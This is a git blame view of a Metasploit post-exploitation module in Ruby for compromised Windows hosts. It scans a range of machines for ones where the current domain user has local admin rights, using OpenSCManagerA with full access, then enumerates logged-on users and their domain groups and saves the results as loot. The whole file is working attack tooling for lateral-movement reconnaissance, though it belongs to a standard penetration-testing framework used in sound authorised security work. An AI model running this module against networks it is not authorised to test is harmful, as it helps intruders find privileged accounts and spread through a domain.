metasploit-framework/modules/post/windows/gather/local_admin_search_enum.rb

258 lines
7.6 KiB
Ruby
Raw Normal View History

2012-11-05 18:27:15 +00:00
##
2012-12-28 08:26:40 +00:00
# This file is part of the Metasploit Framework and may be subject to
2012-11-05 18:27:15 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
2012-12-28 08:26:40 +00:00
# http://metasploit.com/framework/
2012-11-05 18:27:15 +00:00
##
2012-12-28 08:26:40 +00:00
2012-11-05 18:27:15 +00:00
require 'msf/core'
require 'rex'
2012-11-27 11:49:19 +00:00
require 'msf/core/post/common'
2012-11-05 18:27:15 +00:00
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
2012-11-27 11:49:19 +00:00
include Msf::Post::Common
2012-11-05 18:27:15 +00:00
def initialize(info={})
2012-12-28 08:26:40 +00:00
super(update_info(info,
'Name' => 'Windows Gather Local Admin Search',
2012-11-05 18:27:15 +00:00
'Description' => %q{
2012-12-28 08:26:40 +00:00
This module will identify systems in a given range that the
2012-11-05 18:27:15 +00:00
supplied domain user (should migrate into a user pid) has administrative
2012-12-28 08:26:40 +00:00
access to by using the Windows API OpenSCManagerA to establishing a handle
2012-11-05 18:27:15 +00:00
to the remote host. Additionally it can enumerate logged in users and group
2012-12-28 08:26:40 +00:00
membership via Windows API NetWkstaUserEnum and NetUserGetGroups.
},
2012-11-05 18:27:15 +00:00
'License' => MSF_LICENSE,
2012-12-28 08:26:40 +00:00
'Author' =>
[
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
],
2012-11-05 18:27:15 +00:00
'Platform' => [ 'windows'],
'SessionTypes' => [ 'meterpreter' ]
2012-12-28 08:26:40 +00:00
))
2012-11-05 18:27:15 +00:00
register_options(
[
OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]),
OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]),
2012-12-28 08:26:40 +00:00
OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']),
OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups'])
2012-11-05 18:27:15 +00:00
], self.class)
end
2012-12-01 17:03:11 +00:00
def setup
super
2012-12-28 08:26:40 +00:00
# This datastore option can be modified during runtime.
# Saving it here so the modified value remains with this module.
@domain_controller = datastore['DOMAIN_CONTROLLER']
2012-11-05 18:27:15 +00:00
if is_system?
# running as SYSTEM and will not pass any network credentials
print_error "Running as SYSTEM, module should be run with USER level rights"
return
else
2012-12-01 17:03:11 +00:00
@adv = client.railgun.advapi32
2012-11-05 18:27:15 +00:00
# Get domain and domain controller if options left blank
2012-12-28 09:27:04 +00:00
if datastore['DOMAIN'].nil? or datastore['DOMAIN'].empty?
2012-11-05 18:27:15 +00:00
user = client.sys.config.getuid
datastore['DOMAIN'] = user.split('\\')[0]
end
2012-12-28 08:26:40 +00:00
if @domain_controll.nil? and datastore['ENUM_GROUPS']
2012-11-05 18:27:15 +00:00
@dc_error = false
# Uses DC which applied policy since it would be a DC this device normally talks to
cmd = "gpresult /SCOPE COMPUTER"
# If Vista/2008 or later add /R
2012-11-27 11:34:38 +00:00
if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
2012-11-05 18:27:15 +00:00
cmd << " /R"
end
2012-11-27 11:49:19 +00:00
res = cmd_exec("cmd.exe","/c #{cmd}")
2012-11-05 18:27:15 +00:00
# Check if RSOP data exists, if not disable group check
unless res =~ /does not have RSOP data./
2012-12-28 08:26:40 +00:00
@domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
2012-11-05 18:27:15 +00:00
else
@dc_error = true
print_error("User never logged into device, will not enumerate groups or manually specify DC.")
end
end
end
end
2012-11-27 11:34:38 +00:00
# main control method
2012-11-05 18:27:15 +00:00
def run_host(ip)
connect(ip)
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx
# enumerate logged in users
def enum_users(host)
2012-12-28 08:26:40 +00:00
userlist = Array.new
2012-11-05 18:27:15 +00:00
begin
2012-11-27 12:22:50 +00:00
# Connect to host and enumerate logged in users
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
rescue ::Exception => e
print_error("Issue enumerating users on #{host}")
2012-12-28 08:26:40 +00:00
return userlist
2012-11-27 12:22:50 +00:00
end
2012-12-28 08:26:40 +00:00
return userlist if winsessions.nil?
2012-11-05 18:27:15 +00:00
count = winsessions['totalentries'] * 2
startmem = winsessions['bufptr']
base = 0
userlist = Array.new
2012-11-27 12:22:50 +00:00
begin
mem = client.railgun.memread(startmem, 8*count)
rescue ::Exception => e
print_error("Issue reading memory for #{host}")
2012-12-28 09:27:04 +00:00
vprint_error(e.to_s)
2012-12-28 08:26:40 +00:00
return userlist
2012-11-27 12:22:50 +00:00
end
2012-11-05 18:27:15 +00:00
# For each entry returned, get domain and name of logged in user
2012-11-27 12:22:50 +00:00
begin
count.times{|i|
2012-12-28 09:46:59 +00:00
temp = {}
userptr = mem[(base + 0),4].unpack("V*")[0]
temp[:user] = client.railgun.memread(userptr,255).split("\0\0")[0].split("\0").join
nameptr = mem[(base + 4),4].unpack("V*")[0]
temp[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
# Ignore if empty or machine account
unless temp[:user].empty? or temp[:user][-1, 1] == "$"
# Check if enumerated user's domain matches supplied domain, if there was
# an error, or if option disabled
data = ""
if datastore['DOMAIN'].upcase == temp[:domain].upcase and not @dc_error and datastore['ENUM_GROUPS']
data << " - Groups: #{enum_groups(temp[:user]).chomp(", ")}"
2012-11-27 12:22:50 +00:00
end
2012-12-28 09:46:59 +00:00
line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n"
# Write user and groups to notes database
db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", "localadmin.user.loggedin")
userlist << line unless userlist.include? line
end
2012-11-05 18:27:15 +00:00
2012-12-28 09:46:59 +00:00
base = base + 8
2012-11-27 12:22:50 +00:00
}
2012-11-05 18:27:15 +00:00
rescue ::Exception => e
print_error("Issue enumerating users on #{host}")
2012-12-28 08:26:40 +00:00
vprint_error(e.backtrace)
2012-11-05 18:27:15 +00:00
end
return userlist
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx
# Enumerate groups for identified users
def enum_groups(user)
grouplist = ""
2012-12-28 09:27:04 +00:00
dc = "\\\\#{@domain_controller}"
2012-11-05 18:27:15 +00:00
begin
# Connect to DC and enumerate groups of user
usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4)
rescue ::Exception => e
print_error("Issue connecting to DC, try manually setting domain and DC")
2012-12-28 09:27:04 +00:00
vprint_error(e.to_s)
2012-12-28 08:26:40 +00:00
return grouplist
2012-11-05 18:27:15 +00:00
end
2012-12-28 09:27:04 +00:00
count = usergroups['totalentries']
startmem = usergroups['bufptr']
base = 0
2012-11-05 18:27:15 +00:00
begin
mem = client.railgun.memread(startmem, 8*count)
rescue ::Exception => e
print_error("Issue reading memory for groups for user #{user}")
2012-12-28 09:27:04 +00:00
vprint_error(e.to_s)
2012-12-28 08:26:40 +00:00
return grouplist
2012-11-05 18:27:15 +00:00
end
begin
# For each entry returned, get group
count.to_i.times{|i|
temp = {}
groupptr = mem[(base + 0),4].unpack("V*")[0]
temp[:group] = client.railgun.memread(groupptr,255).split("\0\0")[0].split("\0").join
# Add group to string to be returned
grouplist << "#{temp[:group]}, "
if (i % 5) == 2
grouplist <<"\n\t- "
end
base = base + 4
}
rescue ::Exception => e
print_error("Issue enumerating groups for user #{user}, check domain")
2012-12-28 08:26:40 +00:00
vprint_error(e.backtrace)
return grouplist
2012-11-05 18:27:15 +00:00
end
return grouplist.chomp("\n\t- ")
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
# method to connect to remote host using windows api
def connect(host)
2012-12-01 17:03:11 +00:00
if @adv.nil?
return
end
2012-11-05 18:27:15 +00:00
user = client.sys.config.getuid
# use railgun and OpenSCManagerA api to connect to remote host
2012-12-01 17:03:11 +00:00
manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS
2012-11-05 18:27:15 +00:00
if(manag["return"] != 0) # we have admin rights
result = "#{host.ljust(16)} #{user} - Local admin found\n"
# Run enumerate users on all hosts if option was set
if datastore['ENUM_USERS']
enum_users(host).each {|i|
result << i
}
end
# close the handle if connection was made
2012-12-01 17:03:11 +00:00
@adv.CloseServiceHandle(manag["return"])
2012-11-05 18:27:15 +00:00
# Append data to loot table within database
print_good(result.chomp("\n")) unless result.nil?
2012-12-01 17:03:11 +00:00
db_loot(host, user, "localadmin.user")
2012-11-05 18:27:15 +00:00
else
# we dont have admin rights
print_error("#{host.ljust(16)} #{user} - No Local Admin rights")
end
end
# Write to notes database
def db_note(host, data, type)
2012-12-28 08:26:40 +00:00
report_note(
:type => type,
:data => data,
:host => host,
:update => :unique_data
)
2012-11-05 18:27:15 +00:00
end
# Write to loot database
def db_loot(host, user, type)
2012-12-28 08:26:40 +00:00
p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
vprint_status("User data stored in: #{p}")
2012-11-05 18:27:15 +00:00
end
2012-12-01 17:03:11 +00:00
end